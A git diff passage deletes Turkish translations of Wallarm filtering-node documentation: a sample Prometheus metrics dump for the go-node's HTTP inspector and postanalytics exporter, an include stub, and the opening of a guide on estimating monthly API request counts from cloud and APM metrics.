-wallarm_gonode_http_inspector_acl_results_per_app_total{aggregate="sum",application_id="-1",list="none"} 0 -wallarm_gonode_http_inspector_acl_results_per_app_total{aggregate="sum",application_id="-1",list="white"} 0 -# HELP wallarm_gonode_http_inspector_acl_results_per_host_total ACL sonuç sayaçları. 'list' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_acl_results_per_host_total counter -wallarm_gonode_http_inspector_acl_results_per_host_total{aggregate="sum",host="",list="black"} 0 -wallarm_gonode_http_inspector_acl_results_per_host_total{aggregate="sum",host="",list="grey"} 0 -wallarm_gonode_http_inspector_acl_results_per_host_total{aggregate="sum",host="",list="none"} 0 -wallarm_gonode_http_inspector_acl_results_per_host_total{aggregate="sum",host="",list="white"} 0 -# HELP wallarm_gonode_http_inspector_acl_results_total ACL sonuç sayaçları. 'list' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_acl_results_total counter -wallarm_gonode_http_inspector_acl_results_total{aggregate="sum",list="black"} 0 -wallarm_gonode_http_inspector_acl_results_total{aggregate="sum",list="grey"} 0 -wallarm_gonode_http_inspector_acl_results_total{aggregate="sum",list="none"} 0 -wallarm_gonode_http_inspector_acl_results_total{aggregate="sum",list="white"} 0 -# HELP wallarm_gonode_http_inspector_adjusted_counters_per_app_total Ayarlanmış sayaçlar. Ayarlanmış eski sayaçlara karşılık gelir. 'type' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_adjusted_counters_per_app_total counter -wallarm_gonode_http_inspector_adjusted_counters_per_app_total{aggregate="sum",application_id="-1",type="attacks"} 0 -wallarm_gonode_http_inspector_adjusted_counters_per_app_total{aggregate="sum",application_id="-1",type="requests"} 3 -# HELP wallarm_gonode_http_inspector_adjusted_counters_per_host_total Ayarlanmış sayaçlar. Ayarlanmış eski sayaçlara karşılık gelir. 'type' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_adjusted_counters_per_host_total counter -wallarm_gonode_http_inspector_adjusted_counters_per_host_total{aggregate="sum",host="",type="attacks"} 0 -wallarm_gonode_http_inspector_adjusted_counters_per_host_total{aggregate="sum",host="",type="requests"} 3 -# HELP wallarm_gonode_http_inspector_adjusted_counters_total Ayarlanmış sayaçlar. Ayarlanmış eski sayaçlara karşılık gelir. 'type' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_adjusted_counters_total counter -wallarm_gonode_http_inspector_adjusted_counters_total{aggregate="sum",type="attacks"} 0 -wallarm_gonode_http_inspector_adjusted_counters_total{aggregate="sum",type="requests"} 3 -# HELP wallarm_gonode_http_inspector_adjusted_requests_per_period Son zaman aralığı başına ayarlanmış istek miktarı. 'period' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_adjusted_requests_per_period gauge -wallarm_gonode_http_inspector_adjusted_requests_per_period{aggregate="sum",period="1m"} 0 -wallarm_gonode_http_inspector_adjusted_requests_per_period{aggregate="sum",period="1s"} 0 -# HELP wallarm_gonode_http_inspector_balancer_container_is_overloaded Uygulama verileri aldığı hızdan daha hızlı işliyorsa kaplar aşırı yüklenmiş sayılmaz. 'type' etiketine bakın -# TYPE wallarm_gonode_http_inspector_balancer_container_is_overloaded gauge -wallarm_gonode_http_inspector_balancer_container_is_overloaded{type="channel:in"} 0 -# HELP wallarm_gonode_http_inspector_balancer_debug_container_len Şu anda çeşitli dahili veri yapılarındaki öğe sayısı. 'type' etiketine bakın -# TYPE wallarm_gonode_http_inspector_balancer_debug_container_len gauge -wallarm_gonode_http_inspector_balancer_debug_container_len{type="channel:in"} 0 -# HELP wallarm_gonode_http_inspector_balancer_dropped_total drop_percent yapılandırma parametresinin sıfır olmaması nedeniyle düşürülen giriş iletileri -# TYPE wallarm_gonode_http_inspector_balancer_dropped_total counter -wallarm_gonode_http_inspector_balancer_dropped_total 0 -# HELP wallarm_gonode_http_inspector_balancer_workers Worker sayısı. -# TYPE wallarm_gonode_http_inspector_balancer_workers gauge -wallarm_gonode_http_inspector_balancer_workers 2 -# HELP wallarm_gonode_http_inspector_bytes_processed_per_app_total İşlenen baytlar. Hat üzerindeki bayt miktarıyla birebir eşit değildir. 'type' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_bytes_processed_per_app_total counter -wallarm_gonode_http_inspector_bytes_processed_per_app_total{aggregate="sum",application_id="-1",type="request"} 138 -wallarm_gonode_http_inspector_bytes_processed_per_app_total{aggregate="sum",application_id="-1",type="response"} 0 -# HELP wallarm_gonode_http_inspector_bytes_processed_per_host_total İşlenen baytlar. Hat üzerindeki bayt miktarıyla birebir eşit değildir. 'type' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_bytes_processed_per_host_total counter -wallarm_gonode_http_inspector_bytes_processed_per_host_total{aggregate="sum",host="",type="request"} 138 -wallarm_gonode_http_inspector_bytes_processed_per_host_total{aggregate="sum",host="",type="response"} 0 -# HELP wallarm_gonode_http_inspector_bytes_processed_per_period Son zaman aralığında işlenen bayt miktarı. 'period' ve 'type' etiketlerine bakın. -# TYPE wallarm_gonode_http_inspector_bytes_processed_per_period gauge -wallarm_gonode_http_inspector_bytes_processed_per_period{aggregate="sum",period="1m",type="request"} 0 -wallarm_gonode_http_inspector_bytes_processed_per_period{aggregate="sum",period="1m",type="response"} 0 -wallarm_gonode_http_inspector_bytes_processed_per_period{aggregate="sum",period="1s",type="request"} 0 -wallarm_gonode_http_inspector_bytes_processed_per_period{aggregate="sum",period="1s",type="response"} 0 -# HELP wallarm_gonode_http_inspector_bytes_processed_total İşlenen baytlar. Hat üzerindeki bayt miktarıyla birebir eşit değildir. 'type' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_bytes_processed_total counter -wallarm_gonode_http_inspector_bytes_processed_total{aggregate="sum",type="request"} 138 -wallarm_gonode_http_inspector_bytes_processed_total{aggregate="sum",type="response"} 0 -# HELP wallarm_gonode_http_inspector_container_is_overloaded Uygulama verileri aldığı hızdan daha hızlı işliyorsa kaplar aşırı yüklenmiş sayılmaz. 'type' etiketine bakın -# TYPE wallarm_gonode_http_inspector_container_is_overloaded gauge -wallarm_gonode_http_inspector_container_is_overloaded{aggregate="max",type="channel:in"} 0 -# HELP wallarm_gonode_http_inspector_debug_container_len Şu anda çeşitli dahili veri yapılarındaki öğe sayısı. 'type' etiketine bakın -# TYPE wallarm_gonode_http_inspector_debug_container_len gauge -wallarm_gonode_http_inspector_debug_container_len{aggregate="avg",type="channel:in"} 0 -wallarm_gonode_http_inspector_debug_container_len{aggregate="max",type="channel:in"} 0 -wallarm_gonode_http_inspector_debug_container_len{aggregate="min",type="channel:in"} 0 -wallarm_gonode_http_inspector_debug_container_len{aggregate="sum",type="channel:in"} 0 -# HELP wallarm_gonode_http_inspector_errors_total Çeşitli hata sayaçları. 'type' etiketine bakın -# TYPE wallarm_gonode_http_inspector_errors_total counter -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="AclErrors"} 3 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="ApifwErrors"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="ErrorCreatingFlow"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="ErrorSerializingReq"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="FlowAlreadyExists"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="FlowIsMissing"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="FlowIsMissingRequest"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="FlowIsMissingResponse"} 3 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="FlowIsNotClosed"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="FlowTimeouts"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="LeakedHandleRef"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="RouteConfigNotFound"} 0 -wallarm_gonode_http_inspector_errors_total{aggregate="sum",type="UnreleasedBlockers"} 0 -# HELP wallarm_gonode_http_inspector_flow_avg_time_ms Bir akışın yaşamındaki çeşitli noktalar arasındaki ortalama zaman süreleri. 'type' ve 'case' etiketlerine bakın. -# TYPE wallarm_gonode_http_inspector_flow_avg_time_ms gauge -wallarm_gonode_http_inspector_flow_avg_time_ms{aggregate="avgnz",case="ReqOnly",type="Flow"} 1.3002335 -wallarm_gonode_http_inspector_flow_avg_time_ms{aggregate="avgnz",case="ReqOnly",type="Req"} 0.5557354999999999 -wallarm_gonode_http_inspector_flow_avg_time_ms{aggregate="avgnz",case="ReqResp",type="Flow"} 0 -wallarm_gonode_http_inspector_flow_avg_time_ms{aggregate="avgnz",case="ReqResp",type="Gap"} 0 -wallarm_gonode_http_inspector_flow_avg_time_ms{aggregate="avgnz",case="ReqResp",type="Req"} 0 -wallarm_gonode_http_inspector_flow_avg_time_ms{aggregate="avgnz",case="ReqResp",type="Resp"} 0 -# HELP wallarm_gonode_http_inspector_flows Şu anda analiz edilen istek/yanıt çiftlerinin sayısı -# TYPE wallarm_gonode_http_inspector_flows gauge -wallarm_gonode_http_inspector_flows{aggregate="avg"} 0 -wallarm_gonode_http_inspector_flows{aggregate="max"} 0 -wallarm_gonode_http_inspector_flows{aggregate="min"} 0 -wallarm_gonode_http_inspector_flows{aggregate="sum"} 0 -# HELP wallarm_gonode_http_inspector_ignored_per_app_total Yok sayılan istek/yanıt çiftlerinin toplamı. 'source' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_ignored_per_app_total counter -wallarm_gonode_http_inspector_ignored_per_app_total{aggregate="sum",application_id="-1",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_ignored_per_app_total{aggregate="sum",application_id="-1",source="acl_whitelist"} 0 -wallarm_gonode_http_inspector_ignored_per_app_total{aggregate="sum",application_id="-1",source="mode"} 0 -# HELP wallarm_gonode_http_inspector_ignored_per_host_total Yok sayılan istek/yanıt çiftlerinin toplamı. 'source' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_ignored_per_host_total counter -wallarm_gonode_http_inspector_ignored_per_host_total{aggregate="sum",host="",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_ignored_per_host_total{aggregate="sum",host="",source="acl_whitelist"} 0 -wallarm_gonode_http_inspector_ignored_per_host_total{aggregate="sum",host="",source="mode"} 0 -# HELP wallarm_gonode_http_inspector_ignored_total Yok sayılan istek/yanıt çiftlerinin toplamı. 'source' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_ignored_total counter -wallarm_gonode_http_inspector_ignored_total{aggregate="sum",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_ignored_total{aggregate="sum",source="acl_whitelist"} 0 -wallarm_gonode_http_inspector_ignored_total{aggregate="sum",source="mode"} 0 -# HELP wallarm_gonode_http_inspector_mem_allocated_bytes Şu anda dahili libproton kütüphanesi içinde ayrılan bellek miktarı -# TYPE wallarm_gonode_http_inspector_mem_allocated_bytes gauge -wallarm_gonode_http_inspector_mem_allocated_bytes{aggregate="avg"} 0 -wallarm_gonode_http_inspector_mem_allocated_bytes{aggregate="max"} 0 -wallarm_gonode_http_inspector_mem_allocated_bytes{aggregate="min"} 0 -wallarm_gonode_http_inspector_mem_allocated_bytes{aggregate="sum"} 0 -# HELP wallarm_gonode_http_inspector_mem_allocated_max_bytes Başlangıçtan bu yana gözlenen, dahili libproton kütüphanesi içinde ayrılan en yüksek bellek miktarı -# TYPE wallarm_gonode_http_inspector_mem_allocated_max_bytes gauge -wallarm_gonode_http_inspector_mem_allocated_max_bytes{aggregate="avg"} 60486 -wallarm_gonode_http_inspector_mem_allocated_max_bytes{aggregate="max"} 60486 -wallarm_gonode_http_inspector_mem_allocated_max_bytes{aggregate="min"} 60486 -# HELP wallarm_gonode_http_inspector_msgs_ignored_total Yok sayılan dahili veri ardışık düzeni iletilerinin toplamı. '_ignored' metriğine bakın -# TYPE wallarm_gonode_http_inspector_msgs_ignored_total counter -wallarm_gonode_http_inspector_msgs_ignored_total{aggregate="sum"} 0 -# HELP wallarm_gonode_http_inspector_requests_processed_per_app_total Farklı denetleyici alt sistemleri tarafından işlenen isteklerin toplamı. Bir istek birden fazla alt sistem tarafından işlenebilir. 'source' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_requests_processed_per_app_total counter -wallarm_gonode_http_inspector_requests_processed_per_app_total{aggregate="sum",application_id="-1",source="acl"} 0 -wallarm_gonode_http_inspector_requests_processed_per_app_total{aggregate="sum",application_id="-1",source="anything"} 3 -wallarm_gonode_http_inspector_requests_processed_per_app_total{aggregate="sum",application_id="-1",source="apifw"} 3 -wallarm_gonode_http_inspector_requests_processed_per_app_total{aggregate="sum",application_id="-1",source="proton"} 3 -# HELP wallarm_gonode_http_inspector_requests_processed_per_host_total Farklı denetleyici alt sistemleri tarafından işlenen isteklerin toplamı. Bir istek birden fazla alt sistem tarafından işlenebilir. 'source' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_requests_processed_per_host_total counter -wallarm_gonode_http_inspector_requests_processed_per_host_total{aggregate="sum",host="",source="acl"} 0 -wallarm_gonode_http_inspector_requests_processed_per_host_total{aggregate="sum",host="",source="anything"} 3 -wallarm_gonode_http_inspector_requests_processed_per_host_total{aggregate="sum",host="",source="apifw"} 3 -wallarm_gonode_http_inspector_requests_processed_per_host_total{aggregate="sum",host="",source="proton"} 3 -# HELP wallarm_gonode_http_inspector_requests_processed_total Farklı denetleyici alt sistemleri tarafından işlenen isteklerin toplamı. Bir istek birden fazla alt sistem tarafından işlenebilir. 'source' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_requests_processed_total counter -wallarm_gonode_http_inspector_requests_processed_total{aggregate="sum",source="acl"} 0 -wallarm_gonode_http_inspector_requests_processed_total{aggregate="sum",source="anything"} 3 -wallarm_gonode_http_inspector_requests_processed_total{aggregate="sum",source="apifw"} 3 -wallarm_gonode_http_inspector_requests_processed_total{aggregate="sum",source="proton"} 3 -# HELP wallarm_gonode_http_inspector_responses_processed_per_app_total Farklı denetleyici alt sistemleri tarafından işlenen yanıtların toplamı. Bir yanıt birden fazla alt sistem tarafından işlenebilir. 'source' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_responses_processed_per_app_total counter -wallarm_gonode_http_inspector_responses_processed_per_app_total{aggregate="sum",application_id="-1",source="proton"} 0 -# HELP wallarm_gonode_http_inspector_responses_processed_per_host_total Farklı denetleyici alt sistemleri tarafından işlenen yanıtların toplamı. Bir yanıt birden fazla alt sistem tarafından işlenebilir. 'source' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_responses_processed_per_host_total counter -wallarm_gonode_http_inspector_responses_processed_per_host_total{aggregate="sum",host="",source="proton"} 0 -# HELP wallarm_gonode_http_inspector_responses_processed_total Farklı denetleyici alt sistemleri tarafından işlenen yanıtların toplamı. Bir yanıt birden fazla alt sistem tarafından işlenebilir. 'source' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_responses_processed_total counter -wallarm_gonode_http_inspector_responses_processed_total{aggregate="sum",source="proton"} 0 -# HELP wallarm_gonode_http_inspector_ruleset_content_version Özel kural seti dosyasının içerik sürümü. İçindeki kurallardan herhangi birindeki her değişiklikle artar -# TYPE wallarm_gonode_http_inspector_ruleset_content_version gauge -wallarm_gonode_http_inspector_ruleset_content_version{aggregate="max"} 1938 -wallarm_gonode_http_inspector_ruleset_content_version{aggregate="min"} 1938 -# HELP wallarm_gonode_http_inspector_ruleset_format_version Özel kural seti dosyasının biçim sürümü -# TYPE wallarm_gonode_http_inspector_ruleset_format_version gauge -wallarm_gonode_http_inspector_ruleset_format_version{aggregate="max"} 58 -wallarm_gonode_http_inspector_ruleset_format_version{aggregate="min"} 58 -# HELP wallarm_gonode_http_inspector_step_container_is_overloaded Uygulama verileri aldığı hızdan daha hızlı işliyorsa kaplar aşırı yüklenmiş sayılmaz. 'type' etiketine bakın -# TYPE wallarm_gonode_http_inspector_step_container_is_overloaded gauge -wallarm_gonode_http_inspector_step_container_is_overloaded{type="channel:in"} 0 -wallarm_gonode_http_inspector_step_container_is_overloaded{type="channel:worker_out"} 0 -# HELP wallarm_gonode_http_inspector_step_debug_container_len Şu anda çeşitli dahili veri yapılarındaki öğe sayısı. 'type' etiketine bakın -# TYPE wallarm_gonode_http_inspector_step_debug_container_len gauge -wallarm_gonode_http_inspector_step_debug_container_len{type="channel:in"} 0 -wallarm_gonode_http_inspector_step_debug_container_len{type="channel:worker_out"} 0 -# HELP wallarm_gonode_http_inspector_step_input_messages_total Bu ardışık düzen adımının giriş iletilerinin toplamı. -# TYPE wallarm_gonode_http_inspector_step_input_messages_total counter -wallarm_gonode_http_inspector_step_input_messages_total 18 -# HELP wallarm_gonode_http_inspector_step_is_running Bu ardışık düzen adımının şu anda çalışıp çalışmadığını (1) veya durduğunu (0) gösteren işaret. -# TYPE wallarm_gonode_http_inspector_step_is_running gauge -wallarm_gonode_http_inspector_step_is_running 1 -# HELP wallarm_gonode_http_inspector_step_output_messages_total Bu ardışık düzen adımının çıktı iletilerinin toplamı. 'msgtype', 'receiver' ve 'dropped' etiketlerine bakın. -# TYPE wallarm_gonode_http_inspector_step_output_messages_total counter -wallarm_gonode_http_inspector_step_output_messages_total{dropped="false",msgtype="MsgProtonSerializedRequest",reciever="0"} 3 -wallarm_gonode_http_inspector_step_output_messages_total{dropped="true",msgtype="MsgProtonSerializedRequest",reciever="0"} 0 -# HELP wallarm_gonode_http_inspector_threats_blocked_per_app_total Engellenen tehditlerin toplamı. Bir istek yalnızca bir denetleyici alt sistemi tarafından engellenebilir. 'source' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_threats_blocked_per_app_total counter -wallarm_gonode_http_inspector_threats_blocked_per_app_total{aggregate="sum",application_id="-1",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_app_total{aggregate="sum",application_id="-1",source="acl_greylist"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_app_total{aggregate="sum",application_id="-1",source="apifw"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_app_total{aggregate="sum",application_id="-1",source="proton"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_app_total{aggregate="sum",application_id="-1",source="vpatch"} 0 -# HELP wallarm_gonode_http_inspector_threats_blocked_per_host_total Engellenen tehditlerin toplamı. Bir istek yalnızca bir denetleyici alt sistemi tarafından engellenebilir. 'source' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_threats_blocked_per_host_total counter -wallarm_gonode_http_inspector_threats_blocked_per_host_total{aggregate="sum",host="",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_host_total{aggregate="sum",host="",source="acl_greylist"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_host_total{aggregate="sum",host="",source="apifw"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_host_total{aggregate="sum",host="",source="proton"} 0 -wallarm_gonode_http_inspector_threats_blocked_per_host_total{aggregate="sum",host="",source="vpatch"} 0 -# HELP wallarm_gonode_http_inspector_threats_blocked_total Engellenen tehditlerin toplamı. Bir istek yalnızca bir denetleyici alt sistemi tarafından engellenebilir. 'source' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_threats_blocked_total counter -wallarm_gonode_http_inspector_threats_blocked_total{aggregate="sum",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_threats_blocked_total{aggregate="sum",source="acl_greylist"} 0 -wallarm_gonode_http_inspector_threats_blocked_total{aggregate="sum",source="apifw"} 0 -wallarm_gonode_http_inspector_threats_blocked_total{aggregate="sum",source="proton"} 0 -wallarm_gonode_http_inspector_threats_blocked_total{aggregate="sum",source="vpatch"} 0 -# HELP wallarm_gonode_http_inspector_threats_found_per_app_total Farklı denetleyici alt sistemleri tarafından bulunan tehditlerin toplamı. Bir istek birden fazla şekilde tehdit olarak değerlendirilebilir. 'source' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_threats_found_per_app_total counter -wallarm_gonode_http_inspector_threats_found_per_app_total{aggregate="sum",application_id="-1",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_threats_found_per_app_total{aggregate="sum",application_id="-1",source="acl_greylist"} 0 -wallarm_gonode_http_inspector_threats_found_per_app_total{aggregate="sum",application_id="-1",source="anything"} 0 -wallarm_gonode_http_inspector_threats_found_per_app_total{aggregate="sum",application_id="-1",source="apifw"} 0 -wallarm_gonode_http_inspector_threats_found_per_app_total{aggregate="sum",application_id="-1",source="proton"} 0 -# HELP wallarm_gonode_http_inspector_threats_found_per_host_total Farklı denetleyici alt sistemleri tarafından bulunan tehditlerin toplamı. Bir istek birden fazla şekilde tehdit olarak değerlendirilebilir. 'source' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_threats_found_per_host_total counter -wallarm_gonode_http_inspector_threats_found_per_host_total{aggregate="sum",host="",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_threats_found_per_host_total{aggregate="sum",host="",source="acl_greylist"} 0 -wallarm_gonode_http_inspector_threats_found_per_host_total{aggregate="sum",host="",source="anything"} 0 -wallarm_gonode_http_inspector_threats_found_per_host_total{aggregate="sum",host="",source="apifw"} 0 -wallarm_gonode_http_inspector_threats_found_per_host_total{aggregate="sum",host="",source="proton"} 0 -# HELP wallarm_gonode_http_inspector_threats_found_total Farklı denetleyici alt sistemleri tarafından bulunan tehditlerin toplamı. Bir istek birden fazla şekilde tehdit olarak değerlendirilebilir. 'source' etiketine bakın. -# TYPE wallarm_gonode_http_inspector_threats_found_total counter -wallarm_gonode_http_inspector_threats_found_total{aggregate="sum",source="acl_blacklist"} 0 -wallarm_gonode_http_inspector_threats_found_total{aggregate="sum",source="acl_greylist"} 0 -wallarm_gonode_http_inspector_threats_found_total{aggregate="sum",source="anything"} 0 -wallarm_gonode_http_inspector_threats_found_total{aggregate="sum",source="apifw"} 0 -wallarm_gonode_http_inspector_threats_found_total{aggregate="sum",source="proton"} 0 -# HELP wallarm_gonode_postanalytics_exporter_connections postanalytics'e mevcut bağlantı sayısı. Her postanalytics düğümü için bir bağlantı. -# TYPE wallarm_gonode_postanalytics_exporter_connections gauge -wallarm_gonode_postanalytics_exporter_connections 1 -# HELP wallarm_gonode_postanalytics_exporter_container_is_overloaded Uygulama verileri aldığı hızdan daha hızlı işliyorsa kaplar aşırı yüklenmiş sayılmaz. 'type' etiketine bakın -# TYPE wallarm_gonode_postanalytics_exporter_container_is_overloaded gauge -wallarm_gonode_postanalytics_exporter_container_is_overloaded{type="channel:in"} 0 -# HELP wallarm_gonode_postanalytics_exporter_debug_container_len Şu anda çeşitli dahili veri yapılarındaki öğe sayısı. 'type' etiketine bakın -# TYPE wallarm_gonode_postanalytics_exporter_debug_container_len gauge -wallarm_gonode_postanalytics_exporter_debug_container_len{type="channel:in"} 0 -# HELP wallarm_gonode_postanalytics_exporter_errors_total Çeşitli hata sayaçları. 'type' etiketine bakın -# TYPE wallarm_gonode_postanalytics_exporter_errors_total counter -wallarm_gonode_postanalytics_exporter_errors_total{type="SubmitConnect"} 6 -wallarm_gonode_postanalytics_exporter_errors_total{type="SubmitResp"} 0 -# HELP wallarm_gonode_postanalytics_exporter_serialized_requests_dropped_total Hatalar nedeniyle düşürülen serileştirilmiş isteklerin toplam sayısı. -# TYPE wallarm_gonode_postanalytics_exporter_serialized_requests_dropped_total counter -wallarm_gonode_postanalytics_exporter_serialized_requests_dropped_total 3 -# HELP wallarm_gonode_postanalytics_exporter_serialized_requests_exported_per_period Son zaman aralığında postanalytics'e dışa aktarılan serileştirilmiş istek sayısı. 'period' etiketine bakın. -# TYPE wallarm_gonode_postanalytics_exporter_serialized_requests_exported_per_period gauge -wallarm_gonode_postanalytics_exporter_serialized_requests_exported_per_period{period="1m"} 0 -wallarm_gonode_postanalytics_exporter_serialized_requests_exported_per_period{period="1s"} 0 -# HELP wallarm_gonode_postanalytics_exporter_serialized_requests_exported_total postanalytics'e dışa aktarılan serileştirilmiş isteklerin toplam sayısı. -# TYPE wallarm_gonode_postanalytics_exporter_serialized_requests_exported_total counter -wallarm_gonode_postanalytics_exporter_serialized_requests_exported_total 0 -# HELP wallarm_gonode_postanalytics_exporter_step_container_is_overloaded Uygulama verileri aldığı hızdan daha hızlı işliyorsa kaplar aşırı yüklenmiş sayılmaz. 'type' etiketine bakın -# TYPE wallarm_gonode_postanalytics_exporter_step_container_is_overloaded gauge -wallarm_gonode_postanalytics_exporter_step_container_is_overloaded{type="channel:in"} 0 -# HELP wallarm_gonode_postanalytics_exporter_step_debug_container_len Şu anda çeşitli dahili veri yapılarındaki öğe sayısı. 'type' etiketine bakın -# TYPE wallarm_gonode_postanalytics_exporter_step_debug_container_len gauge -wallarm_gonode_postanalytics_exporter_step_debug_container_len{type="channel:in"} 0 -# HELP wallarm_gonode_postanalytics_exporter_step_input_messages_total Bu ardışık düzen adımının giriş iletilerinin toplamı. -# TYPE wallarm_gonode_postanalytics_exporter_step_input_messages_total counter -wallarm_gonode_postanalytics_exporter_step_input_messages_total 3 -# HELP wallarm_gonode_postanalytics_exporter_step_is_running Bu ardışık düzen adımının şu anda çalışıp çalışmadığını (1) veya durduğunu (0) gösteren işaret. -# TYPE wallarm_gonode_postanalytics_exporter_step_is_running gauge -wallarm_gonode_postanalytics_exporter_step_is_running 1 -# HELP wallarm_gonode_process_cpu_seconds_total Kullanıcı ve sistem CPU'sunda harcanan toplam süre (saniye). -# TYPE wallarm_gonode_process_cpu_seconds_total counter -wallarm_gonode_process_cpu_seconds_total 1.56 -# HELP wallarm_gonode_process_max_fds Açık dosya tanıtıcılarının azami sayısı. -# TYPE wallarm_gonode_process_max_fds gauge -wallarm_gonode_process_max_fds 524287 -# HELP wallarm_gonode_process_network_receive_bytes_total Süreç tarafından ağ üzerinden alınan bayt sayısı. -# TYPE wallarm_gonode_process_network_receive_bytes_total counter -wallarm_gonode_process_network_receive_bytes_total 2.53529454e+08 -# HELP wallarm_gonode_process_network_transmit_bytes_total Süreç tarafından ağ üzerinden gönderilen bayt sayısı. -# TYPE wallarm_gonode_process_network_transmit_bytes_total counter -wallarm_gonode_process_network_transmit_bytes_total 1.9418293e+07 -# HELP wallarm_gonode_process_open_fds Açık dosya tanıtıcılarının sayısı. -# TYPE wallarm_gonode_process_open_fds gauge -wallarm_gonode_process_open_fds 20 -# HELP wallarm_gonode_process_resident_memory_bytes Yerleşik bellek boyutu (bayt). -# TYPE wallarm_gonode_process_resident_memory_bytes gauge -wallarm_gonode_process_resident_memory_bytes 1.67747584e+08 -# HELP wallarm_gonode_process_start_time_seconds Sürecin başlangıç zamanı, Unix epoch'tan itibaren saniye cinsinden. -# TYPE wallarm_gonode_process_start_time_seconds gauge -wallarm_gonode_process_start_time_seconds 1.75398672336e+09 -# HELP wallarm_gonode_process_virtual_memory_bytes Sanal bellek boyutu (bayt). -# TYPE wallarm_gonode_process_virtual_memory_bytes gauge -wallarm_gonode_process_virtual_memory_bytes 1.98490112e+09 -# HELP wallarm_gonode_process_virtual_memory_max_bytes Kullanılabilir sanal belleğin azami miktarı (bayt). -# TYPE wallarm_gonode_process_virtual_memory_max_bytes gauge -wallarm_gonode_process_virtual_memory_max_bytes 1.8446744073709552e+19 -``` - - \ No newline at end of file diff --git a/docs/latest-tr/admin-en/nginx-node-metrics.md b/docs/latest-tr/admin-en/nginx-node-metrics.md deleted file mode 100644 index c87b5a9f6b..0000000000 --- a/docs/latest-tr/admin-en/nginx-node-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/nginx-node-metrics.md" \ No newline at end of file diff --git a/docs/latest-tr/admin-en/operation/learn-incoming-request-number.md b/docs/latest-tr/admin-en/operation/learn-incoming-request-number.md deleted file mode 100644 index 1a5d720aa6..0000000000 --- a/docs/latest-tr/admin-en/operation/learn-incoming-request-number.md +++ /dev/null @@ -1,42 +0,0 @@ -# API'lerinizin ayda işlediği istek sayısını öğrenme - -Wallarm'ın birincil lisanslama/faturalandırma yöntemleri, ortamınıza dağıtılmış Wallarm filtreleme düğümleri tarafından sunulan istek seviyesine dayanır. Bu belge, API'lerinizin işlediği istek sayısını kolayca nasıl öğrenebileceğinizi açıklar. - -## Bu bilgiye erişimi olan ekipler - -Genellikle, bir şirkette aşağıdaki ekipler bu bilgiye kolayca erişebilir: - -* DevOps -* Teknik Operasyonlar -* Bulut Operasyonları -* Platform Operasyonları -* DevSecOps -* Sistem Yöneticileri -* NOC - -## İstek sayısını öğrenme yöntemleri - -API'nin işlediği istek sayısını öğrenmek için birkaç yöntem vardır: - -* ELB veya ALB yük dengeleyicileri (load balancer) kullanan AWS müşterileri, yük dengeleyicilerin AWS izleme metriklerini kullanarak, yük dengeleyicilerin servis verdiği API'ler için günlük ve haftalık istek seviyelerini tahmin edebilir: - - ![AWS izleme örneği](../../images/operation/aws-requests-example.png) - - Örneğin, bir grafik dakikadaki ortalama istek seviyesinin 350 olduğunu gösteriyorsa ve bir ayda ortalama 730 saat olduğunu varsayarsak, aylık istek sayısı `350 * 60 * 730 = 15,330,000` olur. - -* HTTP yük dengeleyicilerini kullanan GCP kullanıcıları **https/request_count** izleme metriğini kullanabilir. Bu metrik Network Load Balancers için mevcut değildir. -* Microsoft IIS kullanıcıları, saniye başına ortalama istek sayısını elde etmek ve tek bir IIS sunucusunun ayda hizmet verdiği istek sayısını hesaplamak için **Requests Per Sec** metriğine güvenebilir. Hesaplamada, bir ayda ortalama `730 * 3,600` saniye olduğunu varsayınız. -* New Relic, Datadog, AppDynamics, SignalFX ve benzeri Application Performance Monitoring servislerinin kullanıcıları, bilgiyi APM konsollarından alabilir (edge katmanındaki tüm ilgili sunucular için birleştirilmiş değeri aldığınızdan ve yalnızca tek bir sunucunun değerini almadığınızdan emin olun). -* Datadog, AWS CloudWatch (ve daha birçokları) gibi bulut‑tabanlı altyapı izleme sistemlerinin kullanıcıları veya 